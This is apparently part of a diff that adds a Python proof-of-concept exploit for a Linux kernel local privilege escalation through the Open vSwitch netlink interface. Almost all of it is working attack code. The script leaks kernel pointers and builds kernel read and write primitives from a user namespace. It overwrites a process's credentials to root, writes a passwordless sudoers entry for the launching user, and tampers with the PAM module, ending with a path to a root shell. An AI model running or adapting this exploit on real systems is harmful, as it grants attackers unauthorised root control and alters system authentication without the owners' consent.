+            token = os.read(trigger_read, 1)
+            if token == b"1":
+                try_become_root_ids()
+                if os.environ.get("OVS_C004_REPAIR_PAM", "1") == "1":
+                    restore_pam_unix_from_backup()
+                if os.environ.get("OVS_C004_REPAIR_PAM_ONLY") == "1":
+                    ok = True
+                    used_path = PAM_UNIX_SO
+                else:
+                    ok, used_path = write_sudoers_entry(path, username)
+            ack = f"1 {used_path}\n".encode("ascii") if ok else b"0\n"
+            os.write(ack_write, ack)
+        except Exception:
+            try:
+                os.write(ack_write, b"0\n")
+            except OSError:
+                pass
+        finally:
+            for fd in (trigger_read, ack_write):
+                try:
+                    os.close(fd)
+                except OSError:
+                    pass
+        if ok:
+            sleep_forever_detached()
+        os._exit(0)
+    os.close(trigger_read)
+    os.close(ack_write)
+    print(f"host sudoers writer child pid={child}", flush=True)
+    return child, trigger_write, ack_read
+
+
+def fork_namespace_pin() -> None:
+    child = os.fork()
+    if child == 0:
+        sleep_forever_detached()
+    print(f"namespace pin child pid={child}", flush=True)
+
+
+def trigger_sudoers_writer(trigger_fd: int, ack_fd: int) -> str:
+    result = b""
+    try:
+        os.write(trigger_fd, b"1")
+        while True:
+            chunk = os.read(ack_fd, 4096)
+            if not chunk:
+                break
+            result += chunk
+    finally:
+        for fd in (trigger_fd, ack_fd):
+            try:
+                os.close(fd)
+            except OSError:
+                pass
+    if not result.startswith(b"1 "):
+        raise RuntimeError("sudoers writer child failed")
+    return result[2:].decode("ascii", errors="replace").strip()
+
+
+def main() -> None:
+    if len(sys.argv) > 1 and sys.argv[1] == "--child":
+        host_user = validate_child_namespace()
+        exploit_from_private_namespace(host_user)
+        return
+    if len(sys.argv) > 1:
+        raise RuntimeError("usage: python3 ovswrap-poc.py")
+
+    ensure_pahole_available()
+    step("CHECKING LAUNCHING USER")
+    host_uid, host_gid, host_user = launching_user()
+    print(
+        f"launching user: name={host_user} uid={host_uid} gid={host_gid}",
+        flush=True,
+    )
+    ensure_user_starts_without_passwordless_sudo(host_user)
+    prepare_system_map_host()
+    sudoers_path = f"/etc/sudoers.d/ovs_c004_{os.getpid()}"
+    writer_pid, writer_trigger_fd, writer_ack_fd = fork_sudoers_writer(
+        sudoers_path, host_user
+    )
+    run_child_in_private_namespace(
+        host_user,
+        writer_pid,
+        writer_trigger_fd,
+        writer_ack_fd,
+    )
+
+
+def exploit_from_private_namespace(host_user: str) -> None:
+    step("BEGINNING SETUP")
+    print(f"host user for sudoers entry: {host_user}", flush=True)
+    print(f"namespace uid/gid: uid={os.getuid()} gid={os.getgid()}", flush=True)
+    print(f"process identity: {run_text(['id'])}", flush=True)
+    print(f"effective capability mask: {process_status_line('CapEff:')}", flush=True)
+    print(f"uid_map: {uid_map_first_entry()[3]}", flush=True)
+
+    genl = GenericNetlink()
+    dp_family = genl.get_family("ovs_datapath")
+    flow_family = genl.get_family("ovs_flow")
+    dp_name = f"vhrd{os.getpid() % 10000}"
+    create_datapath(genl, dp_family, dp_name)
+    dp_ifindex = socket.if_nametoindex(dp_name)
+    print(f"datapath {dp_name} ifindex {dp_ifindex}", flush=True)
+
+    step("DERIVING KERNEL OFFSETS")
+    kernel_plans = tuple(build_kernel_parameter_plans())
+    kernel_record = next(
+        (plan.record for plan in kernel_plans if plan.record is not None),
+        None,
+    )
+    derive_ovs_uapi_constants(kernel_record)
+    offsets = kernel_plans[0].offsets
+    writer_pid, writer_trigger_fd, writer_ack_fd = inherited_sudoers_writer()
+    fork_namespace_pin()
+
+    step("BUILDING OVS ACTION PRIMITIVES")
+    fake_copy = struct.pack(NLA_HDR, 512, OVS_ACTION_ATTR_OUTPUT)
+    helper_leak_key = flow_key(1)
+    create_flow(
+        genl,
+        flow_family,
+        dp_ifindex,
+        helper_leak_key,
+        clone_with_helper_leak(fake_copy),
+    )
+    helper_leak_actions = get_flow_actions(genl, flow_family, dp_ifindex, helper_leak_key)
+    helper_pointer = find_helper_pointer(helper_leak_actions)
+    print(f"leaked helper-ish pointer 0x{helper_pointer:016x}", flush=True)
+
+    read_carrier = (
+        kernel_record.read_carrier if kernel_record is not None else CARRIER_AUTO
+    )
+    write_carrier = (
+        kernel_record.write_carrier if kernel_record is not None else CARRIER_AUTO
+    )
+    read_lanes = kernel_record.read_lanes if kernel_record is not None else ()
+    reader = OvsReadPrimitive(
+        genl,
+        flow_family,
+        dp_ifindex,
+        offsets,
+        read_carrier,
+        read_lanes,
+    )
+    writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier)
+
+    step("CHECKING BASELINE WRITE")
+    protected_path = f"/root/ovs_c004_lpe_proof_{os.getpid()}"
+    if try_write_root_proof(protected_path, "pre-exploit should not write\n"):
+        raise RuntimeError("unexpectedly wrote root proof path before exploit")
+
+    step("LOCATING WRITER CREDENTIAL")
+    task, offsets, kernel_base, module_ktype = resolve_writer_task_and_offsets(
+        reader,
+        kernel_plans,
+        helper_pointer,
+        writer_pid,
+    )
+    writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier)
+    print(f"module_ktype=0x{module_ktype:016x} kernel_base=0x{kernel_base:016x}", flush=True)
+    cred = read_kernel_pointer(reader, task + offsets.task_cred, "task->cred")
+    print(
+        f"writer task=0x{task:016x} pid={writer_pid} cred=0x{cred:016x}",
+        flush=True,
+    )
+
+    convert_writer_credential(reader, writer, offsets, cred)
+
+    step("WRITING SUDOERS ENTRY")
+    used_sudoers_path = trigger_sudoers_writer(writer_trigger_fd, writer_ack_fd)
+    print(
+        f"sudoers write succeeded: {used_sudoers_path} user={host_user}",
+        flush=True,
+    )
+    print(
+        "sudoers policy write achieved; returning to launcher for root shell",
+        flush=True,
+    )
+
+
+if __name__ == "__main__":
+    try:
+        main()
+    except RuntimeError as exc:
+        print(f"ERROR: {exc}", flush=True)
+        raise SystemExit(1)
+    except OSError as exc:
+        if exc.errno == errno.ENOMEM:
+            print(
+                "ERROR: Ran out of memory; reattempt the PoC after a reboot "
+                "or with more RAM (recommended 2GB+).",
+                flush=True,
+            )
+            raise SystemExit(1)
+        raise